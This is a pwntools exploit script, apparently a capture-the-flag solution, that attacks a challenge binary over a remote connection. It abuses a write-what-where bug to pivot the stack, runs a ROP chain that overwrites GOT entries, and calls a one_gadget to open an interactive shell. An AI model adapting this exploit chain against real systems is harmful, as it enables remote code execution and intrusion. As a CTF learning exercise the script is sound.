#!/usr/bin/env python from pwn import * import ctypes context.clear(arch='amd64', os='linux', log_level='info') LOCAL = False p = None def int64(value): return ctypes.c_int(value).value # gdb -q ./vuln -p $(pgrep -f vuln) -ex 'b *0x400771' def create_process(local=LOCAL): global p if local: p = process(context.binary.path) else: p = remote(host='filereader.chall.malicecyber.com', port=30303) def write(what, where, qword=True): parts = [ (what >> 0) & 0xffffffff, ] if qword: parts.append((what >> 32) & 0xffffffff) for i, part in enumerate(parts): payload = b'' payload += str(int64(where+i)).encode('latin-1') payload += b'\n' payload += str(int64(part)).encode('latin-1') p.sendline(payload) # Load ELF files. elf = context.binary = ELF('./vuln', checksec=False) # Add symbols. elf.sym['write_what_where'] = 0x400749 elf.sym['get_line'] = 0x4005d6 elf.sym['convert'] = 0x400637 elf.sym['main'] = 0x400772 # Create process and pause the script so that we have the time to run gdb over this process. create_process() # pause() # Gadgets. # ropper --file ./vuln -r -a x86_64 --search "mov [%]" mov_rax_ptr_rbp_min18__add_rsp_0x38__pop_rbx_rbp = 0x40073e add_rsp_0x38__pop_rbx_rbp = 0x400742 get_line = elf.sym['get_line']+0x8 pop_rsi_r15 = 0x400881 pop_rbx_rbp = 0x400746 call_rbp48 = 0x4005d5 pop_rdi = 0x400883 pop_r15 = 0x400882 magic = 0x4006a9 ret = 0x400471 # Variables. bss_buf = elf.bss()+0x80 ## # Stage 1 - stack lifting + read in BSS. # offset=-0x36; write(0xdeadbeef, offset) # rbx (junk) offset+=2; write(bss_buf+0x18, offset) # rbp (bss) offset+=2; write(pop_rdi, offset) # pop rdi offset+=2; write(bss_buf, offset) # rdi (buffer) offset+=2; write(pop_rsi_r15, offset) # pop rsi, r15 offset+=2; write(0xffff, offset) # rsi (size) offset+=2; write(0xdeadbeef, offset) # r15 (junk) offset+=2; write(get_line, offset) # call fgets(rdi, rsi, stdin) # Actual pivot. write(add_rsp_0x38__pop_rbx_rbp, -0x46, qword=False) # overwrite LSB of return address (we can't make two writes before return) ## # Stage 2 - compute one_gadget address + call one_gadget. # # one_gadget ./libc.so.6 if LOCAL: libc = ELF(elf.libc.path, checksec=False) one_gadget = 0x3f35a else: libc = ELF('./libc.so.6', checksec=False) one_gadget = 0x41374 one_gadget_offset = one_gadget - libc.sym['__libc_start_main'] # Junk value + some value to be popped out. payload = b'' payload += pack(0xdeadbeef) # junk value payload += pack(one_gadget_offset) # rax value (popped before calling magic gadget) payload += pack(ret)*2 # retsled (junk) # Overwrite strlen@got with popret. payload += pack(pop_rbx_rbp) # pop rbx, rbp payload += pack(0xdeadbeef) # rbx (junk) payload += pack(bss_buf+0x60) # rbp payload += pack(pop_rdi) # pop rdi payload += pack(elf.got['strlen']) # rdi payload += pack(pop_rsi_r15) # pop rsi, r15 payload += pack(0x8) # rsi payload += pack(0xdeadbeef) # r15 payload += pack(get_line) # call fgets(rdi, rsi, stdin) # Place one_gadget_offset in rax register. payload += pack(pop_rbx_rbp) # pop rbx, rbp payload += pack(0xdeadbeef) # rbx (junk) payload += pack(bss_buf+0x20) # rbp payload += pack(mov_rax_ptr_rbp_min18__add_rsp_0x38__pop_rbx_rbp) # add rsp, 0x38; pop rbx, rbp payload += cyclic(0x38) # junk for stack lifting payload += pack(0xdeadbeef) # rbx (junk) payload += pack(elf.got['__libc_start_main']+0x30) # rbp # Overwrite __gmon_start__@got with do_system payload += pack(magic) # Call __gmon_start__@got (actually call do_system). payload += pack(pop_rbx_rbp) # pop rbx, rbp payload += pack(0xdeadbeef) # rbx (junk) payload += pack(elf.got['__gmon_start__']-0x48) # rbp payload += pack(call_rbp48) # call qword ptr [rbp+0x48] p.sendline(payload) # send stage 2. p.sendline(pack(pop_r15)) # send strlen@got value. p.interactive() p.close()